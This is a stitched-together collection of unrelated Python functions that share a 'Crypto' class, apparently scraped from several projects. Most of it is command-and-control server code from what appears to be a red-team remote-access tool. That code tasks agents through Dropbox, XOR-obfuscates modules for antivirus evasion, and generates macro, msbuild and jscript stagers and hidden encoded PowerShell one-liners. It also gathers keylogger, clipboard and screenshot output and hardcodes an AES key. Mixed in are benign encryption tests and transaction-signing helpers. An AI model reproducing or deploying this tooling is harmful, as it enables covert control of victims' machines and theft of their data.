def convert(): c = Crypto() input = txt.get("1.0", tk.END) res.delete("1.0", tk.END) if (operation.get() == "encrypt"): cipher = c.encrypt(input[0:len(input) - 1]) res.insert("1.0", cipher) elif (operation.get() == "decrypt"): plaintext = c.decrypt(input) res.insert("1.0", plaintext)
def test_public_key_serializeation(self): crypto = Crypto(public_exponent=65537, key_size=2048) with open(tempfile.NamedTemporaryFile().name, 'w') as f: crypto.public_key_to_file(f.name) crypto_client = CryptoClient(f.name) self.assertEqual( crypto.public_bytes(), crypto_client.public_bytes(), )
def taskAgentWithRunPSModule(self, moduleName, moduleArgs=None, interact=False): # Construct the powershell code from a template, substituting palceholders with proper parameters xorKey = Crypto.convertKey(self.statusHandler.masterKey, outputFormat="sha256") parameters = { 'xorKey': xorKey, 'moduleURL': self.statusHandler.publishedModuleList[moduleName] } poshCmd = helpers.convertFromTemplate( parameters, cfg.defaultPath['runPSModuleTpl']) if poshCmd == None: return # Add module arguments if ever if moduleArgs: poshCmd += ";Write-Host \"-> Executing module arguments\";{}".format( moduleArgs) # If we want to interact with the PowerShell CLI once the module is loaded, switch to 'shell' mode if interact: self.taskAgentWithShell(poshCmd) else: task = self.statusHandler.createTask(self.agentID, "runPSModule", args=[moduleName, moduleArgs]) # Turn the powershell code into a suitable powershell base64 encoded one line command base64Payload = helpers.powershellEncode(poshCmd) # Create the final command cmd = "powershell.exe -NoP -sta -NonI -W Hidden -Enc {}".format( base64Payload) # Prepare the task format, then put the task into the command file data = "runCLI\n{}\n{}\n{}".format(task['id'], cmd, helpers.randomString(16)) r = self.dropboxHandler.putFile( self.statusHandler.getAgentAttribute(self.agentID, 'commandFile'), Crypto.encryptData(data, self.statusHandler.masterKey)) if r is not None: # Commit this task for the current agent self.statusHandler.commitTask(task) print helpers.color( "[+] Agent with ID [{}] has been tasked with task ID [{}]". format(self.agentID, task['id'])) else: print helpers.color( "[!] Error tasking agent with ID [{}]".format( self.agentID))
def make_keys(args): for k, v in args.auth_to_key_files_map.items(): for val in v: auth_id, filename = val pub_file = '{}.{}'.format(filename, args.public_key_file_extension) crypto = Crypto( public_exponent=args.public_exponent, key_size=args.key_size, ) fullpath = os.path.join(args.basedir, args.key_dir, pub_file) os.makedirs(os.path.dirname(fullpath), exist_ok=True) crypto.public_key_to_file(fullpath) fullpath = os.path.join(args.basedir, args.key_dir, filename) crypto.UNSAFE_private_key_to_file(fullpath)
def publishModule(self, moduleLocalPath, moduleName): print helpers.color( "[*] Publishing [{}] to the C2 server".format(moduleLocalPath)) remoteFilePath = "/" + moduleName + ".mm" # Get a SHA256 hash value of the master key # (!!) : Because we use XOR for obfuscating the stage (not proper encryption, just for IDS / AV evasion), # it would not be wise to use the master key that is also used for end-to-end data encryption xorKey = Crypto.convertKey(self.statusHandler.masterKey, outputFormat="sha256") # XOR Encrypt the module and then upload it to the C2 server try: with open(moduleLocalPath) as moduleFileHandle: r = self.dropboxHandler.putFile( remoteFilePath, Crypto.xor(bytearray(moduleFileHandle.read()), xorKey)) moduleFileHandle.close() if r is None: return else: print helpers.color( "[*] Module XOR encrypted with key [{}] and successfully published" .format(xorKey)) except IOError: print helpers.color( "[!] Could not open or read file [{}]".format(moduleLocalPath)) return # Share the file with a public URL and retrieve the URL r = self.dropboxHandler.shareFile(remoteFilePath) if r is None: return # Get the public URL from the answer try: moduleURL = r['url'].replace("dl=0", "dl=1") self.statusHandler.addModule(moduleName, moduleURL) print helpers.color( "[*] Module successfully shared with public URL [{}]".format( moduleURL)) except KeyError: print helpers.color( "[!] Error parsing JSON looking for 'url' entry") print helpers.color( "[!] Stage has NOT been shared as a public URL")
def taskAgentWithShell(self, cmd): # Prepare the task format, then put the task into the command file data = "shell\n{}\n{}\n{}".format("n/a", cmd, helpers.randomString(16)) r = self.dropboxHandler.putFile( self.statusHandler.getAgentAttribute(self.agentID, 'commandFile'), Crypto.encryptData(data, self.statusHandler.masterKey)) if r is not None: print helpers.color( "[+] Agent with ID [{}] has been tasked with shell command". format(self.agentID)) else: print helpers.color("[!] Error tasking agent with ID [{}]".format( self.agentID))
def treatPushedData(self, pushedDataFilePath): # Read the pushed data result file result = Crypto.decryptData( self.dropboxHandler.readFile(pushedDataFilePath, resultFormat="bytes"), self.statusHandler.masterKey) # Error handling if result is None: print helpers.color( "\n[!] Error retrieving data pushed by the agent ID [{}]". format(agentID)) else: print result # Delete the push result file on the server self.dropboxHandler.deleteFile(pushedDataFilePath)
def genStager(self, stagerType, stageName): # These are the common parameters required by the various stager (powershell or other) script stagerParameters = { 'stagePublicURL': self.statusHandler.publishedStageList[stageName], 'xorKey': Crypto.convertKey(self.statusHandler.masterKey, outputFormat="sha256"), 'masterKey': helpers.b64encode(self.statusHandler.masterKey), 'accessToken': self.dropboxHandler.token } if stagerType == "oneliner": print print helpers.color(stagers.GenStager.oneLiner(stagerParameters), 'green') print print helpers.color( "[*] HINT: You can use this powershell oneliner as is, or with one of the fantastic 'Nishang' client side attack vector generator" ) return elif stagerType == "batch": stagers.GenStager.batch(stagerParameters) return elif stagerType == "batch2": stagers.GenStager.batch2(stagerParameters) return elif stagerType == "macro": stagers.GenStager.macro(stagerParameters) return elif stagerType == "msbuild": stagers.GenStager.msbuild(stagerParameters) return elif stagerType == "javascript": stagers.GenStager.javascript(stagerParameters) return elif stagerType == "ducky": stagers.GenStager.ducky(stagerParameters) return elif stagerType == "sct": stagers.GenStager.sct(stagerParameters) return
def taskAgentWithSendFile(self, localFile, destinationPath): # Creating the remote file path (used on the DropBox API server) fileName = os.path.basename(localFile) remoteFilePath = "/" + self.agentID + ".rsc" # First upload the localFile to DropBox try: with open(localFile) as fileHandle: print helpers.color("[*] Uploading file [{}] to [{}]".format( localFile, remoteFilePath)) r = self.dropboxHandler.putFile(remoteFilePath, fileHandle.read()) fileHandle.close() if r is None: return except IOError: print helpers.color( "[!] Could not open or read file [{}]".format(localFile)) return # Once the local file is properly uploaded, proceed with tasking the agent # Create a task task = self.statusHandler.createTask(self.agentID, "sendFile", args=[localFile, destinationPath]) # Prepare the task format, then put the task into the command file data = "downloadFile\n{}\n{}\n{}\n{}\n{}".format( task['id'], remoteFilePath, destinationPath, fileName, helpers.randomString(16)) r = self.dropboxHandler.putFile( self.statusHandler.getAgentAttribute(self.agentID, 'commandFile'), Crypto.encryptData(data, self.statusHandler.masterKey)) if r is not None: # Commit this task for the current agent self.statusHandler.commitTask(task) print helpers.color( "[+] Agent with ID [{}] has been tasked with task ID [{}]". format(self.agentID, task['id'])) else: print helpers.color("[!] Error tasking agent with ID [{}]".format( self.agentID))
def taskAgentWithStop(self): # Create a task task = self.statusHandler.createTask(self.agentID, "stop") # Prepare the task format, then put the task into the command file data = "stop\n{}\n{}".format(task['id'], helpers.randomString(16)) r = self.dropboxHandler.putFile( self.statusHandler.getAgentAttribute(self.agentID, 'commandFile'), Crypto.encryptData(data, self.statusHandler.masterKey)) if r is not None: # Commit this task for the current agent self.statusHandler.commitTask(task) print helpers.color( "[+] Agent with ID [{}] has been tasked with task ID [{}]". format(self.agentID, task['id'])) else: print helpers.color("[!] Error tasking agent with ID [{}]".format( self.agentID))
def treatTaskResult(self, task, taskResultFilePath): # We have a match for a pending task that has completed agentID = task['agentID'] taskID = task['id'] args = task['args'] cmd = task['cmd'] proceed = True # Read the task result file result = Crypto.decryptData( self.dropboxHandler.readFile(taskResultFilePath, resultFormat="bytes"), self.statusHandler.masterKey) # Error handling if result is None: proceed = False elif cmd != "runCLI" or cmd != "runModule": if result.startswith("ERROR"): print helpers.color( "\n[!] Task ID [{}] on agent ID [{}] failed with error: [{}]" .format(taskID, agentID, result)) proceed = False # Proceed with task result treatment if proceed: if cmd == "runCLI": #print helpers.color("\n[*] Task ID [{}] on agent ID [{}] completed".format(taskID, agentID)) #print "[{}]".format(task['cmd']) #print "" print result if cmd == "runModule": print helpers.color( "\n[*] Task ID [{}] on agent ID [{}] completed".format( taskID, agentID)) print "[{}]".format(task['cmd']) print "" print result elif cmd == "launchProcess": print helpers.color( "\n[*] Task ID [{}] on agent ID [{}] completed successfully [{}]" .format(taskID, agentID, result)) elif cmd == "getFile": agentFile = args[0] # Compute a local file name based on the agent file name localFile = os.path.join( cfg.defaultPath['incoming'], os.path.basename(agentFile.replace("\\", "/"))) print helpers.color( "\n[*] Task ID [{}] on agent ID [{}] completed successfully [{}]" .format(taskID, agentID, result)) print helpers.color( "[*] Please wait while downloading file [{}] and saving it to [{}]" .format(result, localFile)) with open(localFile, 'w+') as fileHandle: fileHandle.write( Crypto.decryptData( self.dropboxHandler.readFile(result, resultFormat="bytes"), self.statusHandler.masterKey)) fileHandle.close() # Delete the remote file self.dropboxHandler.deleteFile(result) print helpers.color("[*] File saved [{}]".format(localFile)) elif cmd == "sendFile": print helpers.color( "\n[*] Task ID [{}] on agent ID [{}] completed successfully [{}]" .format(taskID, agentID, result)) print helpers.color("[*] [{}]".format(result)) elif cmd == "sleep": self.statusHandler.setAgentAttribute(agentID, "wakeUpTime", result.split(",")[1]) self.statusHandler.setAgentAttribute(agentID, "status", "SLEEPING") print helpers.color( "\n[*] Task ID [{}] on agent ID [{}] completed successfully [{}]" .format(taskID, agentID, result)) print helpers.color("[*] Agent is going to sleep") elif cmd == "polling": print helpers.color( "\n[*] Task ID [{}] on agent ID [{}] completed successfully [{}]" .format(taskID, agentID, result)) elif cmd == "stop": self.statusHandler.setAgentAttribute(agentID, "status", "DEAD") self.dropboxHandler.deleteFile( self.statusHandler.getAgentAttribute( agentID, "statusFile")) self.dropboxHandler.deleteFile( self.statusHandler.getAgentAttribute( agentID, "commandFile")) print helpers.color( "\n[*] Task ID [{}] on agent ID [{}] completed successfully [{}]" .format(taskID, agentID, result)) # Remove the task from the task list self.statusHandler.removeTask(task) # Delete the task result file on the server self.dropboxHandler.deleteFile(taskResultFilePath)
def treatTaskResult(self, task, taskResultFilePath): # We have a match for a pending task that has completed agentID = task['agentID'] taskID = task['id'] args = task['args'] cmd = task['cmd'] proceed = True # Read the task result file key = 'secret#456!23key' iv = 'Key@123Key@123fd' enc_cmdresult = self.dropboxHandler.readFile(taskResultFilePath, resultFormat="string") decodetext = base64.b64decode(enc_cmdresult) aes = AES.new(key, AES.MODE_CBC, iv) encoder = PKCS7Encoder() cipher = aes.decrypt(decodetext) result = encoder.decode(cipher) # Error handling if result is None: proceed = False elif cmd not in ['runCLI', 'runPSModule']: if result.startswith("ERROR"): print helpers.color( "\n[!] Task ID [{}] on agent ID [{}] failed with error: [{}]" .format(taskID, agentID, result)) proceed = False # Proceed with task result treatment if proceed: if cmd in ['runCLI', 'runPSModule']: print helpers.color( "\n[*] Task ID [{}] on agent ID [{}] completed".format( taskID, agentID)) print "[{}]".format(task['cmd']) print "" print result elif cmd in [ 'launchProcess', 'polling', 'sendkeystrokes', 'persist' ]: print helpers.color( "\n[*] Task ID [{}] on agent ID [{}] completed successfully [{}]" .format(taskID, agentID, result)) elif cmd == "getFile": agentFile = args[0] # Compute a local file name based on the agent file name localFile = os.path.join( cfg.defaultPath['incoming'], os.path.basename(agentFile.replace("\\", "/"))) print helpers.color( "\n[*] Task ID [{}] on agent ID [{}] completed successfully [{}]" .format(taskID, agentID, result)) print helpers.color( "[*] Please wait while downloading file [{}] and saving it to [{}]" .format(result, localFile)) with open(localFile, 'w+') as fileHandle: fileHandle.write( self.dropboxHandler.readFile(result, resultFormat="string")) fileHandle.close() print helpers.color("[*] File saved [{}]".format(localFile)) # Delete the remote file self.dropboxHandler.deleteFile(result) elif cmd == "sendFile": print helpers.color( "\n[*] Task ID [{}] on agent ID [{}] completed successfully [{}]" .format(taskID, agentID, result)) print helpers.color("\n[*] [{}]".format(result)) elif cmd == "sleep": self.statusHandler.setAgentAttribute(agentID, "wakeUpTime", result.split(",")[1]) self.statusHandler.setAgentAttribute(agentID, "status", "SLEEPING") print helpers.color( "\n[*] Task ID [{}] on agent ID [{}] completed successfully [{}]" .format(taskID, agentID, result)) print helpers.color("[*] Agent is going to sleep") elif cmd == "keylogger": if args[0] == "stop": localFile = os.path.join(cfg.defaultPath['incoming'], "keylogger.txt") print helpers.color( "\n[*] Task ID [{}] on agent ID [{}] completed successfully" .format(taskID, agentID)) print helpers.color( "[*] Saving keylogger results to file [{}]".format( localFile)) with open(localFile, 'w+') as fileHandle: fileHandle.write(result) fileHandle.close() print helpers.color( "[*] File saved [{}]".format(localFile)) else: print helpers.color( "\n[*] Task ID [{}] on agent ID [{}] completed successfully [{}]" .format(taskID, agentID, result)) elif cmd == "clipboardlogger": if args[0] == "stop": print helpers.color( "\n[*] Task ID [{}] on agent ID [{}] completed successfully" .format(taskID, agentID)) localFile = os.path.join(cfg.defaultPath['incoming'], "clipboardlogger.txt") print helpers.color( "[*] Saving clipboard logger results to file [{}]". format(localFile)) with open(localFile, 'w+') as fileHandle: fileHandle.write(result) fileHandle.close() print helpers.color( "[*] File saved [{}]".format(localFile)) else: print helpers.color( "\n[*] Task ID [{}] on agent ID [{}] completed successfully [{}]" .format(taskID, agentID, result)) elif cmd == "screenshot": # Compute a local file name based on the agent file name localFile = os.path.join(cfg.defaultPath['incoming'], "screenshot.jpg") print helpers.color( "\n[*] Task ID [{}] on agent ID [{}] completed successfully [{}]" .format(taskID, agentID, result)) print helpers.color( "[*] Please wait while downloading file [{}] and saving it to [{}]" .format(result, localFile)) with open(localFile, 'w+') as fileHandle: fileHandle.write( Crypto.decryptData( self.dropboxHandler.readFile(result, resultFormat="bytes"), self.statusHandler.masterKey)) fileHandle.close() print helpers.color("[*] File saved [{}]".format(localFile)) # Delete the remote file self.dropboxHandler.deleteFile(result) elif cmd == "stop": self.statusHandler.setAgentAttribute(agentID, "status", "DEAD") self.dropboxHandler.deleteFile( self.statusHandler.getAgentAttribute( agentID, "statusFile")) self.dropboxHandler.deleteFile( self.statusHandler.getAgentAttribute( agentID, "commandFile")) print helpers.color( "\n[*] Task ID [{}] on agent ID [{}] completed successfully [{}]" .format(taskID, agentID, result)) # Remove the task from the task list self.statusHandler.removeTask(task) # Delete the task result file on the server self.dropboxHandler.deleteFile(taskResultFilePath)
def test_encrypt_decrypt(self): crypto = Crypto(public_exponent=65537, key_size=2048) plain = b'test' cipher = crypto.encrypt(plain) output = crypto.decrypt(cipher) self.assertEqual(plain, output)
def sign_transaction(self, private_key: str): context = self.get_transaction_data() signature = Crypto.sign(context, private_key) self.set_signature(signature)
def verify_signature(self, public_key: str) -> bool: context = self.get_transaction_data() return Crypto.verify(context, self.get_signature(), public_key)
def do_genStager(self, args): """genStager <jscript1|jscript2|jscript3>\nGenerates a stager of the selected type""" # Checking args if not args: print helpers.color("[!] Missing arguments. Command format: genStager <stager_name>") return # Retrieve the type of stager to generate stagerType = args.split()[0] # Check it is a supported type of stager if stagerType not in ['jscript1', 'jscript2', 'jscript3', 'psoneliner']: print helpers.color("[!] Invalid stager type") return # Common parameters for stager generation params = {'callbackURL': config.CALLBACK, 'port': config.PORT, 'prefix': config.IDPREFIX} #---- Generate stager jscript1 if stagerType == 'jscript1': stager = helpers.convertFromTemplate(params, 'templates/wsc2Agent1_js.tpl') stagerFileName = config.STAGERFILES + '/wsc2Agent1.js' try: with open(stagerFileName, 'w+') as fileHandle: fileHandle.write(stager) fileHandle.close() print helpers.color("[+] Stager created as [{}]".format(stagerFileName)) except IOError: print helpers.color("[!] Could not create stager file [{}]".format(stagerFileName)) #---- Generate stager jscript2 elif stagerType == 'jscript2': stager = helpers.convertFromTemplate(params, 'templates/wsc2Agent2_js.tpl') stagerFileName = config.STAGERFILES + '/wsc2Agent2.js' try: with open(stagerFileName, 'w+') as fileHandle: fileHandle.write(stager) fileHandle.close() print helpers.color("[+] Stager created as [{}]".format(stagerFileName)) except IOError: print helpers.color("[!] Could not create stager file [{}]".format(stagerFileName)) #---- Generate stager jscript3 elif stagerType == 'jscript3': stager2 = helpers.convertFromTemplate(params, 'templates/wsc2Agent2_js.tpl') stager2Encoded = helpers.b64encode(stager2) stager = helpers.convertFromTemplate({'encoded': stager2Encoded}, 'templates/wsc2Agent3_js.tpl') stagerFileName = config.STAGERFILES + '/wsc2Agent3.js' try: with open(stagerFileName, 'w+') as fileHandle: fileHandle.write(stager) fileHandle.close() print helpers.color("[+] Stager created as [{}]".format(stagerFileName)) except IOError: print helpers.color("[!] Could not create stager file [{}]".format(stagerFileName)) #---- Generate stager psoneliner elif stagerType == 'psoneliner': # Get bytes from the .Net assembly WSC2 agent try: with open(config.AGENTRELEASE) as fileHandle: agentBytes = bytearray(fileHandle.read()) fileHandle.close() except IOError: print helpers.color("[!] Could not read agent release file [{}]".format(config.AGENTRELEASE)) # We'll simply use the sha256 hash of the password as the XOR encryption key xorKey = Crypto.convertKey(config.XORPASSWORD, outputFormat = "sha256") # Write the XOR encrypted agent file in the web static delivery folder try: with open(config.STATICFILES+'/'+'agent.txt' , 'w+') as fileHandle: fileHandle.write(Crypto.xor(agentBytes, xorKey)) fileHandle.close() except IOError: print helpers.color("[!] Could not write xor encrypted agent file [{}]".format(config.STATICFILES+'/'+'agent.txt')) return params['xorKey'] = xorKey posh = helpers.convertFromTemplate(params, 'templates/posh.tpl') print helpers.color("[+] Powershell one liner:") print "powershell.exe -NoP -sta -NonI -W Hidden -e {}".format(helpers.powershellEncode(posh))